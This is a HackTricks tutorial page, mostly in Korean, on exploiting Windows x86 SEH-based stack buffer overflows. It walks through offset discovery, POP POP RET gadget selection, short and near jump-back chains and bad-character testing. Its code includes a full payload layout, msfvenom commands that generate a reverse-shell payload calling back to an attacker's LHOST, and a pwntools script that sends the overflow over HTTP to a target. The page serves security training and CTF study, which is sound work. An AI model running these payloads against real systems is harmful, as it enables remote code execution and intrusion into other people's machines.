151 lines
7.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
{{#include ../../banners/hacktricks-training.md}}
SEH-based exploitation은 스택에 저장된 Structured Exception Handler 체인을 악용하는 고전적인 x86 Windows 기법이다. 스택 버퍼 오버플로우가 두 개의 4바이트 필드를 덮어쓸 때
- nSEH: 다음 SEH 레코드에 대한 포인터, and
- SEH: 예외 처리기 함수에 대한 포인터
공격자는 다음 방법으로 실행 제어를 획득할 수 있다:
1) 예외가 발생했을 때 gadget이 공격자가 제어하는 바이트로 리턴하도록, 보호되지 않은 모듈의 POP POP RET gadget 주소로 SEH를 설정하고, 그리고
2) nSEH를 사용해 (대개 짧은 점프) 큰 오버플로잉 버퍼 내의 shellcode로 실행을 리다이렉트한다.
이 기법은 32-bit 프로세스(x86)에 특화되어 있다. 최신 시스템에서는 gadget을 위해 SafeSEH와 ASLR이 없는 모듈을 선호한다. 일반적인 금지 문자는 C-strings와 HTTP 파싱 때문에 종종 0x00, 0x0a, 0x0d (NUL/CR/LF)를 포함한다.
---
## 정확한 오프셋 찾기 (nSEH / SEH)
- 프로세스를 크래시시키고 SEH 체인이 덮어써졌는지 확인한다 (예: x32dbg/x64dbg에서 SEH view 확인).
- 오버플로잉 데이터로 cyclic pattern을 보내고, nSEH와 SEH에 위치한 두 dword의 오프셋을 계산한다.
Example with peda/GEF/pwntools on a 1000-byte POST body:
```bash
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"
# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
```
해당 위치에 마커를 배치하여 검증하세요(예: nSEH=b"BB", SEH=b"CC"). 충돌을 재현 가능하게 하려면 총 길이를 일정하게 유지하세요.
---
## Choosing a POP POP RET (SEH gadget)
SEH 프레임을 풀고 nSEH 바이트로 되돌아가기 위해 POP POP RET 시퀀스가 필요합니다. SafeSEH가 없는 모듈에서 찾고, 가능하면 ASLR도 비활성화된 모듈을 선택하세요:
- Mona (Immunity/WinDbg): `!mona modules` then `!mona seh -m modulename`.
- x64dbg plugin ERC.Xdbg: `ERC --SEH` to list POP POP RET gadgets and SafeSEH status.
리틀엔디언으로 썼을 때 badchars가 포함되지 않는 주소를 선택하세요(예: `p32(0x004094D8)`). 보호 기능이 허용된다면 취약 바이너리 내부의 gadgets를 우선 선택하세요.
---
## Jump-back technique (short + near jmp)
nSEH는 4바이트에 불과하므로 최대 2바이트 short jump(`EB xx`)와 패딩만 들어갑니다. 버퍼 시작으로 수백 바이트를 되돌아가야 한다면, nSEH 바로 앞에 5바이트 near jump를 두고 nSEH의 short jump로 그 점프에 연결하세요.
nasmshell에서:
```text
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
```
nSEH가 offset 660에 있는 1000-byte payload용 레이아웃 아이디어:
```python
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
```
실행 흐름:
- 예외가 발생하고 디스패처가 덮어쓴 SEH를 사용한다.
- POP POP RET가 언와인드되어 우리의 nSEH로 진입한다.
- nSEH가 `jmp short -8`를 실행하여 5바이트 near jump로 들어간다.
- Near jump는 NOP sled + shellcode가 위치한 버퍼의 시작 지점에 도달한다.
---
## Bad characters
전체 badchar 문자열을 생성하여 크래시 후 스택 메모리를 비교하고, 타깃 파서가 변형하는 바이트는 제거한다. HTTP-based overflows의 경우, `\x00\x0a\x0d`는 거의 항상 제외된다.
```python
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
```
---
## Shellcode 생성 (x86)
msfvenom을 당신의 badchars와 함께 사용하세요. 작은 NOP sled은 착지 편차를 허용하는 데 도움이 됩니다.
```bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
```
즉석에서 생성하는 경우, hex 형식은 Python에서 임베드하고 unhex하기에 편리합니다:
```bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
```
---
## Delivering over HTTP (precise CRLF + Content-Length)
취약한 벡터가 HTTP 요청 본문인 경우, 정확한 CRLFs와 Content-Length를 가진 raw request를 만들어 서버가 넘쳐흐르는 전체 본문을 읽도록 하라.
```python
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000 # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close
""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()
```
---
## 도구
- x32dbg/x64dbg를 사용해 SEH 체인을 관찰하고 충돌을 분류/분석하기 위해.
- ERC.Xdbg (x64dbg 플러그인)으로 SEH gadgets를 열거하기 위해: `ERC --SEH`.
- 대안으로 Mona: `!mona modules`, `!mona seh`.
- nasmshell로 short/near jumps를 어셈블하고 raw opcodes를 복사하기 위해.
- pwntools로 정밀한 네트워크 페이로드를 제작하기 위해.
---
## 참고 및 주의사항
- x86 프로세스에만 적용됩니다. x64는 다른 SEH 체계를 사용하므로 SEH 기반 익스플로잇은 일반적으로 실현 가능하지 않습니다.
- SafeSEH와 ASLR이 없는 모듈 내의 gadgets를 우선 사용하십시오; 그렇지 않으면 프로세스에 로드된 보호되지 않은 모듈을 찾으세요.
- 충돌 시 자동으로 재시작하는 서비스 watchdogs는 반복적인 익스플로잇 개발을 더 쉽게 만들 수 있습니다.
## References
- [HTB: Rainbow SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
- [ERC.Xdbg Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
- [Corelan Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)
- [Mona.py WinDbg/Immunity helper](https://github.com/corelan/mona)
{{#include ../../banners/hacktricks-training.md}}